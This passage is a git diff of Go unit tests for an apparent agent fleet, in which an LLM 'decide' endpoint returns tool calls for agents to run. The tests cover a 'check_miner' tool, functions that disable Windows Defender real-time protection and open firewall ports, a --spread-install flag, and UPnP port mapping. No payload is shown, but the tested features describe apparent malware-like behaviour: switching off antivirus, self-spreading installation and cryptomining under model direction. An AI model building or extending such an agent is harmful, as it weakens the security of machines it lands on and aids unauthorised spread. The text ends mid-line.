+ report := a.executeToolCall(ToolCall{Tool: tool, Args: map[string]string{}})
+ if report.Success || !strings.Contains(report.Output, "disabled by policy") {
+ t.Fatalf("tool %q: unexpected report %+v", tool, report)
+ }
+ if report.AgentID != "a1" || report.Tool != tool {
+ t.Fatalf("tool %q: wrong metadata %+v", tool, report)
+ }
+ }
+}
+
+func TestExecuteToolCallUnknownTool(t *testing.T) {
+ a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}}
+ report := a.executeToolCall(ToolCall{Tool: "nonexistent"})
+ if report.Success || !strings.Contains(report.Output, "unknown tool") {
+ t.Fatalf("unexpected: %+v", report)
+ }
+}
+
+func TestCallDecideMockHTTP(t *testing.T) {
+ var gotMethod, gotPath, gotSecret string
+ var gotBody decideRequest
+
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ gotMethod = r.Method
+ gotPath = r.URL.Path
+ gotSecret = r.Header.Get("X-Fleet-Secret")
+ body, _ := io.ReadAll(r.Body)
+ _ = json.Unmarshal(body, &gotBody)
+ w.Header().Set("Content-Type", "application/json")
+ _, _ = w.Write([]byte(`{"tool_calls":[{"tool":"sleep","args":{"seconds":"1"},"reason":"test"}],"reasoning":"ok"}`))
+ }))
+ defer srv.Close()
+
+ a := &AIRunner{
+ cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "fleet-key", AIOllamaEndpoint: "http://ollama", AIModel: "m1"}},
+ httpClient: srv.Client(),
+ serverURL: strings.TrimRight(srv.URL, "/"),
+ agentID: "agent-1",
+ }
+
+ state := AgentState{AgentID: "agent-1", WorkerName: "w1"}
+ resp, err := a.callDecide(state)
+ if err != nil {
+ t.Fatal(err)
+ }
+ if gotMethod != http.MethodPost || gotPath != "/api/v1/agent/decide" {
+ t.Fatalf("got %s %s", gotMethod, gotPath)
+ }
+ if gotSecret != "fleet-key" {
+ t.Fatalf("fleet secret %q", gotSecret)
+ }
+ if gotBody.AgentID != "agent-1" || gotBody.OllamaEndpoint != "http://ollama" || gotBody.Model != "m1" {
+ t.Fatalf("unexpected body: %+v", gotBody)
+ }
+ if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" {
+ t.Fatalf("unexpected response: %+v", resp)
+ }
+}
+
+func TestCallDecideMockHTTPErrorField(t *testing.T) {
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.Header().Set("Content-Type", "application/json")
+ _, _ = w.Write([]byte(`{"error":"ollama offline"}`))
+ }))
+ defer srv.Close()
+
+ a := &AIRunner{
+ httpClient: srv.Client(),
+ serverURL: srv.URL,
+ agentID: "a1",
+ }
+ _, err := a.callDecide(AgentState{})
+ if err == nil || !strings.Contains(err.Error(), "ollama offline") {
+ t.Fatalf("expected decide error, got %v", err)
+ }
+}
+
+func TestCallDecideMockHTTPNonOK(t *testing.T) {
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ w.WriteHeader(http.StatusServiceUnavailable)
+ }))
+ defer srv.Close()
+
+ a := &AIRunner{
+ httpClient: srv.Client(),
+ serverURL: srv.URL,
+ }
+ _, err := a.callDecide(AgentState{})
+ if err == nil || !strings.Contains(err.Error(), "503") {
+ t.Fatalf("expected status error, got %v", err)
+ }
+}
+
+func TestSendHeartbeatMockHTTP(t *testing.T) {
+ var got heartbeatRequest
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if r.URL.Path != "/api/v1/agent/heartbeat" {
+ t.Fatalf("path %s", r.URL.Path)
+ }
+ body, _ := io.ReadAll(r.Body)
+ _ = json.Unmarshal(body, &got)
+ w.WriteHeader(http.StatusOK)
+ }))
+ defer srv.Close()
+
+ a := &AIRunner{
+ cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "sec"}},
+ httpClient: srv.Client(),
+ serverURL: srv.URL,
+ agentID: "a1",
+ }
+ a.sendHeartbeat("alive", "test msg")
+ if got.AgentID != "a1" || got.Status != "alive" || got.Message != "test msg" {
+ t.Fatalf("unexpected heartbeat: %+v", got)
+ }
+}
+
+func TestReportResultsMockHTTP(t *testing.T) {
+ var count int
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ if r.URL.Path != "/api/v1/agent/report" {
+ t.Fatalf("path %s", r.URL.Path)
+ }
+ count++
+ w.WriteHeader(http.StatusOK)
+ }))
+ defer srv.Close()
+
+ a := &AIRunner{
+ httpClient: srv.Client(),
+ serverURL: srv.URL,
+ agentID: "a1",
+ }
+ a.reportResults([]ToolReport{
+ {AgentID: "a1", Tool: "check_miner", Success: true, Output: "ok"},
+ {AgentID: "a1", Tool: "sleep", Success: true, Output: "done"},
+ })
+ if count != 1 {
+ t.Fatalf("expected one report POST, got %d", count)
+ }
+}
diff --git a/agent/deploy/aggressive_stub_test.go b/agent/deploy/aggressive_stub_test.go
new file mode 100644
index 0000000..8803876
--- /dev/null
+++ b/agent/deploy/aggressive_stub_test.go
@@ -0,0 +1,22 @@
+//go:build !windows
+
+package deploy
+
+import (
+ "strings"
+ "testing"
+)
+
+func TestDisableDefenderRealtimeStub(t *testing.T) {
+ _, err := DisableDefenderRealtime()
+ if err == nil || !strings.Contains(err.Error(), "Windows-only") {
+ t.Fatalf("expected Windows-only error, got %v", err)
+ }
+}
+
+func TestOpenFirewallPortStub(t *testing.T) {
+ _, err := OpenFirewallPort(8080, "test")
+ if err == nil || !strings.Contains(err.Error(), "Windows-only") {
+ t.Fatalf("expected Windows-only error, got %v", err)
+ }
+}
diff --git a/agent/deploy/common_test.go b/agent/deploy/common_test.go
index 6755024..f1b60be 100644
--- a/agent/deploy/common_test.go
+++ b/agent/deploy/common_test.go
@@ -1,6 +1,7 @@
package deploy
import (
+ "os"
"path/filepath"
"runtime"
"strings"
@@ -118,3 +119,18 @@ func TestResolveInstallDirWithFallback(t *testing.T) {
t.Fatal("empty dir")
}
}
+
+func TestWantsSpreadInstall(t *testing.T) {
+ orig := os.Args
+ t.Cleanup(func() { os.Args = orig })
+
+ os.Args = []string{"agent"}
+ if WantsSpreadInstall() {
+ t.Fatal("expected false without flag")
+ }
+
+ os.Args = []string{"agent", "--spread-install"}
+ if !WantsSpreadInstall() {
+ t.Fatal("expected true with --spread-install")
+ }
+}
diff --git a/agent/deploy/natpunch_test.go b/agent/deploy/natpunch_test.go
index 7971c19..b26ee98 100644
--- a/agent/deploy/natpunch_test.go
+++ b/agent/deploy/natpunch_test.go
@@ -162,3 +162,98 @@ func TestUpnpSOAPErrorResponse(t *testing.T) {
t.Fatalf("expected SOAP error, got %v", err)
}
}
+
+func TestReLocationParsesSSDPResponse(t *testing.T) {
+ cases := []struct {
+ body string
+ want string
+ }{
+ {
+ "HTTP/1.1 200 OK\r\nLOCATION: http://192.168.0.1:49152/desc.xml\r\n\r\n",
+ "http://192.168.0.1:49152/desc.xml",
+ },
+ {
+ "location: http://10.0.0.1/igd.xml",
+ "http://10.0.0.1/igd.xml",
+ },
+ }
+ for _, tc := range cases {
+ m := reLocation.FindStringSubmatch(tc.body)
+ if len(m) != 2 {
+ t.Fatalf("no LOCATION match in %q", tc.body)
+ }
+ if got := strings.TrimSpace(m[1]); got != tc.want {
+ t.Fatalf("got %q want %q", got, tc.want)
+ }
+ }
+}
+
+func TestResolveWANControlURLRelativeWithoutLeadingSlash(t *testing.T) {
+ const igdXML = `
+
+
+ urn:schemas-upnp-org:service:WANIPConnection:1
+ ctl/IPConn
+
+`
+
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ fmt.Fprint(w, igdXML)
+ }))
+ defer srv.Close()
+
+ got, err := resolveWANControlURL(srv.URL + "/igd.xml")
+ if err != nil {
+ t.Fatal(err)
+ }
+ want := srv.URL + "/ctl/IPConn"
+ if got != want {
+ t.Fatalf("got %q want %q", got, want)
+ }
+}
+
+func TestUpnpSOAPRequestHeaders(t *testing.T) {
+ var contentType, soapAction string
+ srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+ contentType = r.Header.Get("Content-Type")
+ soapAction = r.Header.Get("SOAPAction")
+ fmt.Fprint(w, ``)
+ }))
+ defer srv.Close()
+
+ if _, err := upnpSOAP(srv.URL, "GetExternalIPAddress", "